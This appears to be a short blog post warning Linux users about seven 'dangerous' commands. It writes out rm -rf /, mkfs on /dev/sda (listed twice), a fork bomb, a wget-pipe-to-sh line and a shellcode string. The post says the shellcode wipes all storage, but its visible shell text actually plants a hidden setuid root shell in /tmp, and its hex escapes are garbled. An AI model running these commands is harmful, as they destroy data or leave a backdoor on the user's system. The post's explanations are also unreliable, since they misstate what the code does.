Did you user of Linux distributions like (Ubuntu, LinuxMint, fedora, etc) and often using command line to manage system. or you just met with linux is still learning and understanding about the command line, on this post i will be share about Top 7 Most Dangerous Linux Command Line You Should be Known
Here it is Top 7 Most Dangerous Linux Command Line You Should be Known
First Command Line
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
This is hexadesimal code. by using this command all file on storage devices mounted on your computer will be deleted.
Second Command Line
mkfs.ext3 /dev/sda
By using This command line your /dev/sda device will be formated and all files stored in /dev/sda will be deleted.
Third Command Line
rm -rf / #with root privilege such as 'sudo'
By using This command entire files on mounted devices will be deleted!
Fourth Command Line
wget http://unknwon_Source -O- | sh
By using this command will be download a shell script from untrusted source and run it when the download finished.
Fifth Command Line
":(){:|:&};:" -> Run this command Without Quotation_mark ("")
By using this command will be run too many processes on your system and causes the computer hang up!
Sixth Command Line
mkfs.ext3 /dev/sda
This command will format your /dev/sda device and of course will delete all files on it.
Sevent Command Line
mv /home/username/* /dev/null
By using this command will be move home directory to a place that actually doesn’t exist. In other words, it will delete your home directory.
It was 7 Most Dangerous Linux Command Line You Should be Known. So be careful and do a check before running such commands on your system..
